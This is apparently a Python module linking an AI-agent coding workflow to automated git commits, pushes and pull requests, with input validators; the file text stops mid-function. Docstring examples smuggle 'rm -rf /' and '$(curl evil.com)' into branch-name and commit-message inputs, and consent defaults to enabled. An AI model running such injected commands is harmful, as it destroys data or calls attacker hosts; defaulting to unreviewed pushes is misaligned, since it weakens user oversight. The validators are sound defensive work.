1675 lines
52 KiB
Python
1675 lines
52 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
Auto-Implement Git Integration Module
|
|
|
|
Provides Step 8 integration between /auto-implement workflow and git automation.
|
|
Integrates commit-message-generator and pr-description-generator agents with
|
|
git_operations and pr_automation libraries.
|
|
|
|
Features:
|
|
- Consent-based automation via environment variables
|
|
- Agent-driven commit message and PR description generation
|
|
- Graceful degradation with manual fallback instructions
|
|
- Security-first (validates prerequisites, no hardcoded secrets)
|
|
- Full error handling with actionable messages
|
|
|
|
Environment Variables:
|
|
AUTO_GIT_ENABLED: Enable git operations (true/false, default: false)
|
|
AUTO_GIT_PUSH: Enable push to remote (true/false, default: false)
|
|
AUTO_GIT_PR: Enable PR creation (true/false, default: false)
|
|
|
|
Usage:
|
|
from auto_implement_git_integration import execute_step8_git_operations
|
|
|
|
result = execute_step8_git_operations(
|
|
workflow_id='workflow-123',
|
|
branch='feature/add-auth',
|
|
request='Add user authentication',
|
|
create_pr=True
|
|
)
|
|
|
|
if result['success']:
|
|
print(f"Committed: {result['commit_sha']}")
|
|
if result.get('pr_created'):
|
|
print(f"PR created: {result['pr_url']}")
|
|
|
|
Date: 2025-11-05
|
|
Workflow: git_automation
|
|
Agent: implementer
|
|
Phase: TDD Green (implementation to make tests pass)
|
|
|
|
|
|
Design Patterns:
|
|
See library-design-patterns skill for standardized design patterns.
|
|
See api-integration-patterns skill for standardized design patterns.
|
|
"""
|
|
|
|
import os
|
|
import subprocess
|
|
from pathlib import Path
|
|
from typing import Dict, Any, Optional, List, Tuple
|
|
|
|
# Import existing infrastructure
|
|
from agent_invoker import AgentInvoker
|
|
from artifacts import ArtifactManager
|
|
from git_operations import auto_commit_and_push
|
|
from pr_automation import create_pull_request
|
|
from security_utils import audit_log
|
|
|
|
# Import first-run warning system (Issue #61)
|
|
try:
|
|
from first_run_warning import should_show_warning, show_first_run_warning, FirstRunWarningError
|
|
from user_state_manager import DEFAULT_STATE_FILE
|
|
except ImportError:
|
|
# Fallback for testing - disable first-run warning
|
|
def should_show_warning(state_file):
|
|
return False
|
|
def show_first_run_warning(state_file):
|
|
return True
|
|
|
|
# Exception hierarchy pattern from error-handling-patterns skill:
|
|
# BaseException -> Exception -> AutonomousDevError -> DomainError(BaseException) -> SpecificError
|
|
class FirstRunWarningError(Exception):
|
|
pass
|
|
|
|
from pathlib import Path
|
|
DEFAULT_STATE_FILE = Path.home() / ".autonomous-dev" / "user_state.json"
|
|
|
|
|
|
# =============================================================================
|
|
# Exception Classes (Issue #93)
|
|
# =============================================================================
|
|
|
|
class BatchGitError(Exception):
|
|
"""Exception for batch git workflow errors.
|
|
|
|
Raised when git operations fail during batch processing.
|
|
Follows error-handling-patterns skill exception hierarchy:
|
|
BaseException -> Exception -> BatchGitError
|
|
"""
|
|
pass
|
|
|
|
|
|
def parse_consent_value(value: Optional[str], default: bool = True) -> bool:
|
|
"""
|
|
Parse consent value from environment variable.
|
|
|
|
NEW BEHAVIOR (Issue #61): Defaults to True when value is None or empty.
|
|
This enables opt-out consent model for automatic git operations.
|
|
|
|
Accepts various truthy values: 'true', 'yes', '1', 'y' (case-insensitive)
|
|
Accepts various falsy values: 'false', 'no', '0', 'n' (case-insensitive)
|
|
None or empty string uses the default parameter (defaults to True).
|
|
|
|
Args:
|
|
value: Environment variable value (or None if not set)
|
|
default: Default value when value is None or empty (default: True)
|
|
|
|
Returns:
|
|
bool: True if value is truthy or default, False if explicitly falsy
|
|
|
|
Examples:
|
|
>>> parse_consent_value('true')
|
|
True
|
|
>>> parse_consent_value('YES')
|
|
True
|
|
>>> parse_consent_value('1')
|
|
True
|
|
>>> parse_consent_value('false')
|
|
False
|
|
>>> parse_consent_value(None) # NEW: defaults to True
|
|
True
|
|
>>> parse_consent_value('') # NEW: defaults to True
|
|
True
|
|
>>> parse_consent_value(None, default=False) # Custom default
|
|
False
|
|
|
|
See error-handling-patterns skill for exception hierarchy and error handling best practices.
|
|
"""
|
|
# None or empty string uses default
|
|
if value is None:
|
|
return default
|
|
|
|
# Strip whitespace
|
|
value = str(value).strip()
|
|
|
|
# Empty string after stripping uses default
|
|
if not value:
|
|
return default
|
|
|
|
# Check falsy values first (explicit opt-out)
|
|
falsy_values = {'false', 'no', '0', 'n'}
|
|
if value.lower() in falsy_values:
|
|
return False
|
|
|
|
# Check truthy values (explicit opt-in)
|
|
truthy_values = {'true', 'yes', '1', 'y'}
|
|
if value.lower() in truthy_values:
|
|
return True
|
|
|
|
# Unknown value - use default
|
|
return default
|
|
|
|
|
|
def check_consent_via_env(_skip_first_run_warning: bool = False) -> Dict[str, bool]:
|
|
"""
|
|
Check user consent for git operations via environment variables.
|
|
|
|
NEW BEHAVIOR (Issue #61): Defaults to True when env vars not set.
|
|
This enables opt-out consent model for automatic git operations.
|
|
|
|
Reads three environment variables:
|
|
- AUTO_GIT_ENABLED: Master switch for git operations (default: True)
|
|
- AUTO_GIT_PUSH: Enable push to remote (default: True)
|
|
- AUTO_GIT_PR: Enable PR creation (default: True)
|
|
|
|
Priority: env vars > state file > defaults (now True)
|
|
|
|
If AUTO_GIT_ENABLED=false, all operations are disabled regardless of
|
|
other settings.
|
|
|
|
Returns:
|
|
Dict with consent flags:
|
|
- enabled: Whether git operations are enabled
|
|
- push: Whether push is enabled (requires enabled)
|
|
- pr: Whether PR creation is enabled (requires push)
|
|
- git_enabled: Alias for enabled (backward compatibility)
|
|
- push_enabled: Alias for push (backward compatibility)
|
|
- pr_enabled: Alias for pr (backward compatibility)
|
|
- all_enabled: True only if all three are enabled
|
|
|
|
Examples:
|
|
>>> # No env vars set - defaults to True (NEW!)
|
|
>>> consent = check_consent_via_env()
|
|
>>> consent['enabled']
|
|
True
|
|
|
|
>>> # Explicit opt-out
|
|
>>> os.environ['AUTO_GIT_ENABLED'] = 'false'
|
|
>>> consent = check_consent_via_env()
|
|
>>> consent['enabled']
|
|
False
|
|
"""
|
|
# STEP 1: Check if first-run warning should be shown (Issue #61)
|
|
# This happens BEFORE checking environment variables to ensure informed consent
|
|
# In batch mode, skip first-run warning (Issue #93)
|
|
if not _skip_first_run_warning and should_show_warning(DEFAULT_STATE_FILE):
|
|
try:
|
|
user_accepted = show_first_run_warning(DEFAULT_STATE_FILE)
|
|
if not user_accepted:
|
|
# User explicitly opted out - return disabled state
|
|
audit_log(
|
|
"first_run_consent",
|
|
"declined",
|
|
{
|
|
"component": "auto_implement_git_integration",
|
|
"user_choice": "opted_out"
|
|
}
|
|
)
|
|
return {
|
|
'enabled': False,
|
|
'push': False,
|
|
'pr': False,
|
|
'git_enabled': False,
|
|
'push_enabled': False,
|
|
'pr_enabled': False,
|
|
'all_enabled': False
|
|
}
|
|
else:
|
|
audit_log(
|
|
"first_run_consent",
|
|
"accepted",
|
|
{
|
|
"component": "auto_implement_git_integration",
|
|
"user_choice": "accepted"
|
|
}
|
|
)
|
|
except FirstRunWarningError as e:
|
|
# Warning failed - default to disabled for safety
|
|
audit_log(
|
|
"first_run_warning_error",
|
|
"failure",
|
|
{
|
|
"component": "auto_implement_git_integration",
|
|
"error": str(e)
|
|
}
|
|
)
|
|
# Fall back to env var checking below
|
|
|
|
# STEP 2: Read environment variables (defaults to True per Issue #61)
|
|
# Environment variables override first-run consent for flexibility
|
|
git_enabled = parse_consent_value(os.environ.get('AUTO_GIT_ENABLED'))
|
|
push_enabled = parse_consent_value(os.environ.get('AUTO_GIT_PUSH'))
|
|
pr_enabled = parse_consent_value(os.environ.get('AUTO_GIT_PR'))
|
|
|
|
# STEP 3: Audit log consent decision (Issue #96 - reviewer feedback)
|
|
audit_log(
|
|
"consent_bypass",
|
|
"environment_check",
|
|
{
|
|
"component": "auto_implement_step5",
|
|
"git_enabled": git_enabled,
|
|
"push_enabled": push_enabled,
|
|
"pr_enabled": pr_enabled,
|
|
"source": "environment_variables"
|
|
}
|
|
)
|
|
|
|
# If git is disabled, everything is disabled
|
|
if not git_enabled:
|
|
audit_log(
|
|
"git_automation",
|
|
"disabled",
|
|
{"reason": "AUTO_GIT_ENABLED=false or opted out"}
|
|
)
|
|
return {
|
|
'enabled': False,
|
|
'push': False,
|
|
'pr': False,
|
|
'git_enabled': False, # Backward compatibility
|
|
'push_enabled': False, # Backward compatibility
|
|
'pr_enabled': False, # Backward compatibility
|
|
'all_enabled': False
|
|
}
|
|
|
|
# Return actual values
|
|
return {
|
|
'enabled': git_enabled,
|
|
'push': push_enabled,
|
|
'pr': pr_enabled,
|
|
'git_enabled': git_enabled, # Backward compatibility
|
|
'push_enabled': push_enabled, # Backward compatibility
|
|
'pr_enabled': pr_enabled, # Backward compatibility
|
|
'all_enabled': git_enabled and push_enabled and pr_enabled
|
|
}
|
|
|
|
|
|
def invoke_commit_message_agent(
|
|
workflow_id: str,
|
|
request: str,
|
|
staged_files: Optional[List[str]] = None
|
|
) -> Dict[str, Any]:
|
|
"""
|
|
Invoke commit-message-generator agent to create commit message.
|
|
|
|
Args:
|
|
workflow_id: Unique workflow identifier
|
|
request: Feature request description
|
|
staged_files: Optional list of staged files to include in context
|
|
|
|
Returns:
|
|
Dict with:
|
|
- success: Whether agent succeeded
|
|
- output: Generated commit message (if success)
|
|
- error: Error message (if failed)
|
|
|
|
Raises:
|
|
ValueError: If workflow_id or request are empty/None
|
|
|
|
Examples:
|
|
>>> result = invoke_commit_message_agent(
|
|
... workflow_id='workflow-123',
|
|
... request='Add user authentication'
|
|
... )
|
|
>>> if result['success']:
|
|
... print(result['output'])
|
|
feat: add user authentication
|
|
"""
|
|
# Validate inputs
|
|
if not workflow_id or (isinstance(workflow_id, str) and not workflow_id.strip()):
|
|
raise ValueError('workflow_id cannot be empty')
|
|
if not request or (isinstance(request, str) and not request.strip()):
|
|
raise ValueError('request cannot be empty')
|
|
|
|
try:
|
|
# Initialize artifact manager to check prerequisites
|
|
# commit-message-generator agent requires artifacts to exist
|
|
artifact_mgr = ArtifactManager()
|
|
|
|
# Verify we can read artifacts (will raise FileNotFoundError if missing)
|
|
# This is a prerequisite check before invoking the agent
|
|
# Note: read_artifact might not exist or take different params depending on version
|
|
if hasattr(artifact_mgr, 'read_artifact'):
|
|
artifact_mgr.read_artifact('manifest') # Will raise FileNotFoundError if missing
|
|
|
|
# Initialize agent invoker
|
|
invoker = AgentInvoker()
|
|
|
|
# Prepare context
|
|
context = {'request': request}
|
|
if staged_files:
|
|
context['staged_files'] = staged_files
|
|
|
|
# Invoke agent
|
|
result = invoker.invoke(
|
|
'commit-message-generator',
|
|
workflow_id,
|
|
**context
|
|
)
|
|
|
|
return result
|
|
|
|
except TimeoutError as e:
|
|
return {
|
|
'success': False,
|
|
'output': '',
|
|
'error': f'Agent timeout: commit-message-generator did not respond ({str(e)})'
|
|
}
|
|
except FileNotFoundError as e:
|
|
# Handle missing artifacts
|
|
if 'manifest' in str(e).lower():
|
|
return {
|
|
'success': False,
|
|
'output': '',
|
|
'error': f'Required artifact not found: {str(e)}'
|
|
}
|
|
raise
|
|
except Exception as e:
|
|
return {
|
|
'success': False,
|
|
'output': '',
|
|
'error': f'Agent invocation failed: {str(e)}'
|
|
}
|
|
|
|
|
|
def invoke_pr_description_agent(
|
|
workflow_id: str,
|
|
branch: str
|
|
) -> Dict[str, Any]:
|
|
"""
|
|
Invoke pr-description-generator agent to create PR description.
|
|
|
|
Args:
|
|
workflow_id: Unique workflow identifier
|
|
branch: Feature branch name
|
|
|
|
Returns:
|
|
Dict with:
|
|
- success: Whether agent succeeded
|
|
- output: Generated PR description (if success)
|
|
- error: Error message (if failed)
|
|
|
|
Raises:
|
|
ValueError: If workflow_id or branch are empty/None
|
|
|
|
Examples:
|
|
>>> result = invoke_pr_description_agent(
|
|
... workflow_id='workflow-123',
|
|
... branch='feature/add-auth'
|
|
... )
|
|
>>> if result['success']:
|
|
... print(result['output'])
|
|
## Summary
|
|
- Implemented user authentication
|
|
"""
|
|
# Validate inputs
|
|
if not workflow_id or (isinstance(workflow_id, str) and not workflow_id.strip()):
|
|
raise ValueError('workflow_id cannot be empty')
|
|
if not branch or (isinstance(branch, str) and not branch.strip()):
|
|
raise ValueError('branch cannot be empty')
|
|
|
|
try:
|
|
# Initialize artifact manager to check prerequisites
|
|
artifact_mgr = ArtifactManager()
|
|
|
|
# Verify we can read artifacts (will raise FileNotFoundError if missing)
|
|
if hasattr(artifact_mgr, 'read_artifact'):
|
|
artifact_mgr.read_artifact('manifest') # Will raise FileNotFoundError if missing
|
|
|
|
# Initialize agent invoker
|
|
invoker = AgentInvoker()
|
|
|
|
# Invoke agent
|
|
result = invoker.invoke(
|
|
'pr-description-generator',
|
|
workflow_id,
|
|
branch=branch
|
|
)
|
|
|
|
return result
|
|
|
|
except TimeoutError as e:
|
|
return {
|
|
'success': False,
|
|
'output': '',
|
|
'error': f'Agent timeout: pr-description-generator did not respond ({str(e)})'
|
|
}
|
|
except FileNotFoundError as e:
|
|
# Handle missing artifacts
|
|
if 'manifest' in str(e).lower():
|
|
return {
|
|
'success': False,
|
|
'output': '',
|
|
'error': f'Required artifact not found: {str(e)}'
|
|
}
|
|
raise
|
|
except Exception as e:
|
|
return {
|
|
'success': False,
|
|
'output': '',
|
|
'error': f'Agent invocation failed: {str(e)}'
|
|
}
|
|
|
|
|
|
def validate_agent_output(
|
|
agent_result: Dict[str, Any],
|
|
agent_name: str
|
|
) -> Tuple[bool, str]:
|
|
"""
|
|
Validate agent output is usable.
|
|
|
|
Checks:
|
|
- 'success' key exists and is True
|
|
- 'output' key exists and is non-empty
|
|
- Output is not just whitespace
|
|
|
|
Args:
|
|
agent_result: Result dictionary from agent invocation
|
|
agent_name: Name of agent (for error messages)
|
|
|
|
Returns:
|
|
Tuple of (is_valid, error_message)
|
|
- (True, '') if valid
|
|
- (False, error_message) if invalid
|
|
|
|
Examples:
|
|
>>> result = {'success': True, 'output': 'feat: add feature', 'error': ''}
|
|
>>> is_valid, error = validate_agent_output(result, 'commit-message-generator')
|
|
>>> is_valid
|
|
True
|
|
"""
|
|
# Check if result has success key
|
|
if 'success' not in agent_result:
|
|
return (False, f'{agent_name} returned invalid format (missing success key)')
|
|
|
|
# Check if agent succeeded
|
|
if not agent_result['success']:
|
|
error = agent_result.get('error', 'Unknown error')
|
|
return (False, f'{agent_name} failed: {error}')
|
|
|
|
# Check if output exists
|
|
if 'output' not in agent_result:
|
|
return (False, f'{agent_name} returned invalid format (missing output key)')
|
|
|
|
# Check if output is non-empty
|
|
output = agent_result['output']
|
|
if not output or not str(output).strip():
|
|
return (False, f'{agent_name} returned empty output')
|
|
|
|
return (True, '')
|
|
|
|
|
|
def build_manual_git_instructions(
|
|
branch: str,
|
|
commit_message: str,
|
|
include_push: bool = False
|
|
) -> str:
|
|
"""
|
|
Build manual git instructions for user to execute.
|
|
|
|
Args:
|
|
branch: Git branch name
|
|
commit_message: Commit message to use
|
|
include_push: Whether to include push instructions
|
|
|
|
Returns:
|
|
Formatted string with manual git commands
|
|
|
|
Examples:
|
|
>>> instructions = build_manual_git_instructions(
|
|
... branch='main',
|
|
... commit_message='feat: add feature'
|
|
... )
|
|
>>> 'git add' in instructions
|
|
True
|
|
>>> 'git commit' in instructions
|
|
True
|
|
"""
|
|
# Escape single quotes in commit message for shell
|
|
safe_message = commit_message.replace("'", "'\\''")
|
|
|
|
instructions = """
|
|
Manual Git Instructions:
|
|
|
|
1. Stage your changes:
|
|
git add .
|
|
|
|
2. Commit with the following message:
|
|
git commit -m '{message}'
|
|
""".format(message=safe_message)
|
|
|
|
if include_push:
|
|
instructions += """
|
|
3. Push to remote:
|
|
git push origin {branch}
|
|
""".format(branch=branch)
|
|
|
|
return instructions.strip()
|
|
|
|
|
|
def build_fallback_pr_command(
|
|
branch: str,
|
|
base_branch: str,
|
|
title: str,
|
|
body: Optional[str] = None,
|
|
draft: bool = True
|
|
) -> str:
|
|
"""
|
|
Build fallback gh pr create command for manual execution.
|
|
|
|
Args:
|
|
branch: Source branch name
|
|
base_branch: Target branch name (e.g., 'main')
|
|
title: PR title
|
|
body: Optional PR body
|
|
draft: Create as draft PR
|
|
|
|
Returns:
|
|
Formatted gh CLI command string
|
|
|
|
Examples:
|
|
>>> cmd = build_fallback_pr_command(
|
|
... branch='feature/add-auth',
|
|
... base_branch='main',
|
|
... title='feat: add authentication'
|
|
... )
|
|
>>> 'gh pr create' in cmd
|
|
True
|
|
>>> '--base main' in cmd
|
|
True
|
|
"""
|
|
# Escape quotes in title
|
|
safe_title = title.replace('"', '\\"')
|
|
|
|
# Build base command
|
|
cmd = f'gh pr create --title "{safe_title}" --base {base_branch} --head {branch}'
|
|
|
|
# Add draft flag
|
|
if draft:
|
|
cmd += ' --draft'
|
|
|
|
# Add body if provided
|
|
if body:
|
|
# For body, suggest using heredoc or --body-file for multiline
|
|
cmd += ' --body "$(cat <<\'EOF\'\n{body}\nEOF\n)"'.format(body=body)
|
|
|
|
return cmd
|
|
|
|
|
|
def validate_git_state() -> bool:
|
|
"""
|
|
Validate git repository state before operations.
|
|
|
|
Checks for:
|
|
- Detached HEAD state
|
|
- Protected branches (main, master)
|
|
- Not in a git repository
|
|
|
|
Returns:
|
|
True if state is valid for git operations
|
|
|
|
Raises:
|
|
ValueError: If git state is invalid
|
|
|
|
Security:
|
|
- Logs validation events to audit log
|
|
- Prevents operations on protected branches
|
|
|
|
Example:
|
|
>>> validate_git_state()
|
|
True
|
|
"""
|
|
try:
|
|
# Check if in a git repository
|
|
result = subprocess.run(
|
|
['git', 'rev-parse', '--is-inside-work-tree'],
|
|
capture_output=True,
|
|
text=True,
|
|
timeout=10,
|
|
check=False,
|
|
)
|
|
|
|
if result.returncode != 0:
|
|
audit_log(
|
|
event_type='git_state_validation',
|
|
status='rejected',
|
|
context={'reason': 'Not a git repository'},
|
|
)
|
|
raise ValueError(
|
|
'Not a git repository\n'
|
|
'Expected: Run this command inside a git repository\n'
|
|
'Initialize with: git init'
|
|
)
|
|
|
|
except subprocess.TimeoutExpired:
|
|
raise ValueError('Git command timed out')
|
|
|
|
# Get current branch name
|
|
try:
|
|
result = subprocess.run(
|
|
['git', 'rev-parse', '--abbrev-ref', 'HEAD'],
|
|
capture_output=True,
|
|
text=True,
|
|
timeout=10,
|
|
check=True,
|
|
)
|
|
branch_name = result.stdout.strip()
|
|
|
|
except subprocess.TimeoutExpired:
|
|
raise ValueError('Git command timed out')
|
|
except subprocess.CalledProcessError as e:
|
|
raise ValueError(f'Failed to get branch name: {e}')
|
|
|
|
# Check for detached HEAD
|
|
if 'HEAD' in branch_name and 'detached' in branch_name.lower():
|
|
audit_log(
|
|
event_type='git_state_validation',
|
|
status='rejected',
|
|
context={'reason': 'Detached HEAD state', 'branch': branch_name},
|
|
)
|
|
raise ValueError(
|
|
'Cannot perform git operations in detached HEAD state\n'
|
|
'Expected: Switch to a branch first\n'
|
|
'Example: git checkout -b feature/my-feature'
|
|
)
|
|
|
|
# Also check git status for detached HEAD message
|
|
try:
|
|
result = subprocess.run(
|
|
['git', 'status', '--short', '--branch'],
|
|
capture_output=True,
|
|
text=True,
|
|
timeout=10,
|
|
check=True,
|
|
)
|
|
status_output = result.stdout
|
|
|
|
if 'HEAD detached' in status_output or 'detached at' in status_output.lower():
|
|
audit_log(
|
|
event_type='git_state_validation',
|
|
status='rejected',
|
|
context={'reason': 'Detached HEAD detected in status'},
|
|
)
|
|
raise ValueError(
|
|
'Cannot perform git operations in detached HEAD state\n'
|
|
'Expected: Switch to a branch first\n'
|
|
'Example: git checkout -b feature/my-feature'
|
|
)
|
|
|
|
except subprocess.TimeoutExpired:
|
|
raise ValueError('Git status command timed out')
|
|
except subprocess.CalledProcessError as e:
|
|
raise ValueError(f'Failed to get git status: {e}')
|
|
|
|
# Check for protected branches
|
|
protected_branches = ['main', 'master']
|
|
if branch_name in protected_branches:
|
|
audit_log(
|
|
event_type='git_state_validation',
|
|
status='rejected',
|
|
context={'reason': 'Protected branch', 'branch': branch_name},
|
|
)
|
|
raise ValueError(
|
|
f'Cannot perform automated commits on protected branch: {branch_name}\n'
|
|
f'Expected: Create a feature branch first\n'
|
|
f'Example: git checkout -b feature/my-feature'
|
|
)
|
|
|
|
# Log successful validation
|
|
audit_log(
|
|
event_type='git_state_validation',
|
|
status='success',
|
|
context={'branch': branch_name},
|
|
)
|
|
|
|
return True
|
|
|
|
|
|
def validate_branch_name(branch_name: str) -> str:
|
|
"""
|
|
Validate branch name against security rules.
|
|
|
|
Prevents:
|
|
- CWE-78: Command injection via shell metacharacters
|
|
- Excessive length (>255 characters)
|
|
- Invalid characters
|
|
|
|
Args:
|
|
branch_name: Branch name to validate
|
|
|
|
Returns:
|
|
Validated branch name (unchanged if valid)
|
|
|
|
Raises:
|
|
ValueError: If branch name is invalid
|
|
|
|
Security:
|
|
- Whitelist: alphanumeric, dash, underscore, slash only
|
|
- Rejects shell metacharacters: $, `, |, &, ;, >, <, (, ), {, }
|
|
- Logs validation events to audit log
|
|
|
|
Example:
|
|
>>> validate_branch_name('feature/add-auth')
|
|
'feature/add-auth'
|
|
>>> validate_branch_name('feature; rm -rf /')
|
|
ValueError: Invalid branch name
|
|
"""
|
|
# Check length
|
|
if len(branch_name) > 255:
|
|
audit_log(
|
|
event_type='branch_name_validation',
|
|
status='rejected',
|
|
context={'reason': 'Branch name too long', 'length': len(branch_name)},
|
|
)
|
|
raise ValueError(
|
|
f'Branch name too long: {len(branch_name)} characters\n'
|
|
f'Expected: Maximum 255 characters'
|
|
)
|
|
|
|
# Check for shell metacharacters (CWE-78 prevention)
|
|
dangerous_chars = ['$', '`', '|', '&', ';', '>', '<', '(', ')', '{', '}']
|
|
for char in dangerous_chars:
|
|
if char in branch_name:
|
|
audit_log(
|
|
event_type='branch_name_validation',
|
|
status='rejected',
|
|
context={
|
|
'reason': 'Invalid characters (shell metacharacter)',
|
|
'character': char,
|
|
'branch_name': branch_name,
|
|
},
|
|
)
|
|
raise ValueError(
|
|
f'Invalid characters in branch name: {char}\n'
|
|
f'Expected: alphanumeric, dash, underscore, slash only'
|
|
)
|
|
|
|
# Whitelist validation: only allow alphanumeric, dash, underscore, slash, dot
|
|
import re
|
|
if not re.match(r'^[a-zA-Z0-9/._-]+$', branch_name): # Added dot for release/v1.2.3
|
|
audit_log(
|
|
event_type='branch_name_validation',
|
|
status='rejected',
|
|
context={'reason': 'Invalid branch name format', 'branch_name': branch_name},
|
|
)
|
|
raise ValueError(
|
|
f'Invalid branch name: {branch_name}\n'
|
|
f'Expected: alphanumeric, dash, underscore, slash, dot only'
|
|
)
|
|
|
|
# Log successful validation
|
|
audit_log(
|
|
event_type='branch_name_validation',
|
|
status='success',
|
|
context={'branch_name': branch_name},
|
|
)
|
|
|
|
return branch_name
|
|
|
|
|
|
def validate_commit_message(message: str) -> str:
|
|
"""
|
|
Validate commit message against security rules.
|
|
|
|
Prevents:
|
|
- CWE-78: Command injection via shell metacharacters
|
|
- CWE-117: Log injection via newlines and control characters
|
|
- Excessive length (>10000 characters)
|
|
|
|
Args:
|
|
message: Commit message to validate
|
|
|
|
Returns:
|
|
Validated message (unchanged if valid)
|
|
|
|
Raises:
|
|
ValueError: If message is invalid
|
|
|
|
Security:
|
|
- Rejects shell metacharacters in first line: $, `, |, &, ;
|
|
- Rejects null bytes and control characters (log injection)
|
|
- Length limit: 10000 characters
|
|
- Logs validation events to audit log
|
|
|
|
Example:
|
|
>>> validate_commit_message('feat: add authentication')
|
|
'feat: add authentication'
|
|
>>> validate_commit_message('feat: auth\\n$(curl evil.com)')
|
|
ValueError: Invalid commit message
|
|
"""
|
|
# Check length
|
|
if len(message) > 10000:
|
|
audit_log(
|
|
event_type='commit_message_validation',
|
|
status='rejected',
|
|
context={'reason': 'Commit message too long', 'length': len(message)},
|
|
)
|
|
raise ValueError(
|
|
f'Commit message too long: {len(message)} characters\n'
|
|
f'Expected: Maximum 10000 characters'
|
|
)
|
|
|
|
# Check for null bytes (CWE-117: log injection)
|
|
if '\x00' in message:
|
|
audit_log(
|
|
event_type='commit_message_validation',
|
|
status='rejected',
|
|
context={'reason': 'Null byte detected (log injection attempt)'},
|
|
)
|
|
raise ValueError(
|
|
'Invalid commit message: contains null byte\n'
|
|
'Expected: No control characters'
|
|
)
|
|
|
|
# Check first line for shell metacharacters (CWE-78 prevention)
|
|
# Note: We only check first line to allow markdown formatting in body
|
|
first_line = message.split('\n')[0]
|
|
dangerous_chars = ['$', '`', '|', '&', ';']
|
|
for char in dangerous_chars:
|
|
if char in first_line:
|
|
audit_log(
|
|
event_type='commit_message_validation',
|
|
status='rejected',
|
|
context={
|
|
'reason': 'Shell metacharacter in first line',
|
|
'character': char,
|
|
},
|
|
)
|
|
raise ValueError(
|
|
f'Invalid commit message: contains shell metacharacter {char}\n'
|
|
f'Expected: No shell metacharacters in first line'
|
|
)
|
|
|
|
# Check for log injection patterns (CWE-117)
|
|
# Reject messages that look like fake log entries
|
|
log_patterns = [
|
|
'\nINFO:',
|
|
'\nWARNING:',
|
|
'\nERROR:',
|
|
'\nDEBUG:',
|
|
'\r\nINFO:',
|
|
'\r\nERROR:',
|
|
]
|
|
for pattern in log_patterns:
|
|
if pattern in message:
|
|
audit_log(
|
|
event_type='commit_message_validation',
|
|
status='rejected',
|
|
context={'reason': 'Log injection pattern detected', 'pattern': pattern},
|
|
)
|
|
raise ValueError(
|
|
f'Invalid commit message: contains log injection pattern\n'
|
|
f'Expected: No fake log entries'
|
|
)
|
|
|
|
# Log successful validation
|
|
audit_log(
|
|
event_type='commit_message_validation',
|
|
status='success',
|
|
context={'message_length': len(message)},
|
|
)
|
|
|
|
return message
|
|
|
|
|
|
def check_git_credentials() -> bool:
|
|
"""
|
|
Check git and gh CLI credentials are configured.
|
|
|
|
Validates:
|
|
- git user.name is configured
|
|
- git user.email is configured
|
|
- gh CLI is authenticated (optional, for PR creation)
|
|
|
|
Returns:
|
|
True if credentials are valid
|
|
|
|
Raises:
|
|
ValueError: If credentials are missing or invalid
|
|
|
|
Security:
|
|
- Logs validation events to audit log
|
|
- Does not expose credentials in logs
|
|
|
|
Example:
|
|
>>> check_git_credentials()
|
|
True
|
|
"""
|
|
# Check git user.name
|
|
try:
|
|
result = subprocess.run(
|
|
['git', 'config', 'user.name'],
|
|
capture_output=True,
|
|
text=True,
|
|
timeout=10,
|
|
check=False,
|
|
)
|
|
|
|
if result.returncode != 0 or not result.stdout.strip():
|
|
audit_log(
|
|
event_type='git_credentials_check',
|
|
status='rejected',
|
|
context={'reason': 'Git user.name not configured'},
|
|
)
|
|
raise ValueError(
|
|
'Git user.name not configured\n'
|
|
'Expected: Set git user.name\n'
|
|
'Example: git config --global user.name "Your Name"'
|
|
)
|
|
|
|
except subprocess.TimeoutExpired:
|
|
raise ValueError('Git config command timed out')
|
|
|
|
# Check git user.email
|
|
try:
|
|
result = subprocess.run(
|
|
['git', 'config', 'user.email'],
|
|
capture_output=True,
|
|
text=True,
|
|
timeout=10,
|
|
check=False,
|
|
)
|
|
|
|
if result.returncode != 0 or not result.stdout.strip():
|
|
audit_log(
|
|
event_type='git_credentials_check',
|
|
status='rejected',
|
|
context={'reason': 'Git user.email not configured'},
|
|
)
|
|
raise ValueError(
|
|
'Git user.email not configured\n'
|
|
'Expected: Set git user.email\n'
|
|
'Example: git config --global user.email "you@example.com"'
|
|
)
|
|
|
|
except subprocess.TimeoutExpired:
|
|
raise ValueError('Git config command timed out')
|
|
|
|
# Check gh CLI authentication (optional, only warn)
|
|
try:
|
|
result = subprocess.run(
|
|
['gh', 'auth', 'status'],
|
|
capture_output=True,
|
|
text=True,
|
|
timeout=10,
|
|
check=False,
|
|
)
|
|
|
|
if result.returncode != 0:
|
|
audit_log(
|
|
event_type='git_credentials_check',
|
|
status='warning',
|
|
context={'reason': 'gh CLI not authenticated (PR creation will fail)'},
|
|
)
|
|
# Don't raise - this is only required for PR creation
|
|
# Instead, let the PR creation step handle this error
|
|
raise ValueError(
|
|
'gh CLI not authenticated\n'
|
|
'Expected: Authenticate gh CLI for PR creation\n'
|
|
'Example: gh auth login'
|
|
)
|
|
|
|
except subprocess.TimeoutExpired:
|
|
raise ValueError('gh auth status command timed out')
|
|
except FileNotFoundError:
|
|
# gh not installed - this is OK, just won't create PRs
|
|
audit_log(
|
|
event_type='git_credentials_check',
|
|
status='warning',
|
|
context={'reason': 'gh CLI not installed'},
|
|
)
|
|
raise ValueError(
|
|
'gh CLI not installed\n'
|
|
'Expected: Install gh CLI for PR creation\n'
|
|
'See: https://cli.github.com'
|
|
)
|
|
|
|
# Log successful validation
|
|
audit_log(
|
|
event_type='git_credentials_check',
|
|
status='success',
|
|
context={},
|
|
)
|
|
|
|
return True
|
|
|
|
|
|
def check_git_available() -> bool:
|
|
"""
|
|
Check if git CLI is available.
|
|
|
|
Returns:
|
|
bool: True if git is installed and working, False otherwise
|
|
|
|
Examples:
|
|
>>> if not check_git_available():
|
|
... print("Install git first")
|
|
"""
|
|
try:
|
|
result = subprocess.run(
|
|
['git', '--version'],
|
|
capture_output=True,
|
|
text=True,
|
|
timeout=5
|
|
)
|
|
return result.returncode == 0
|
|
except (FileNotFoundError, subprocess.CalledProcessError, subprocess.TimeoutExpired):
|
|
return False
|
|
|
|
|
|
def check_gh_available(check_auth: bool = False) -> bool:
|
|
"""
|
|
Check if gh CLI is available.
|
|
|
|
Args:
|
|
check_auth: Also check if gh is authenticated
|
|
|
|
Returns:
|
|
bool: True if gh is installed (and authenticated if check_auth=True)
|
|
|
|
Examples:
|
|
>>> if not check_gh_available(check_auth=True):
|
|
... print("Run: gh auth login")
|
|
"""
|
|
try:
|
|
# Check if gh is installed
|
|
result = subprocess.run(
|
|
['gh', '--version'],
|
|
capture_output=True,
|
|
text=True,
|
|
timeout=5
|
|
)
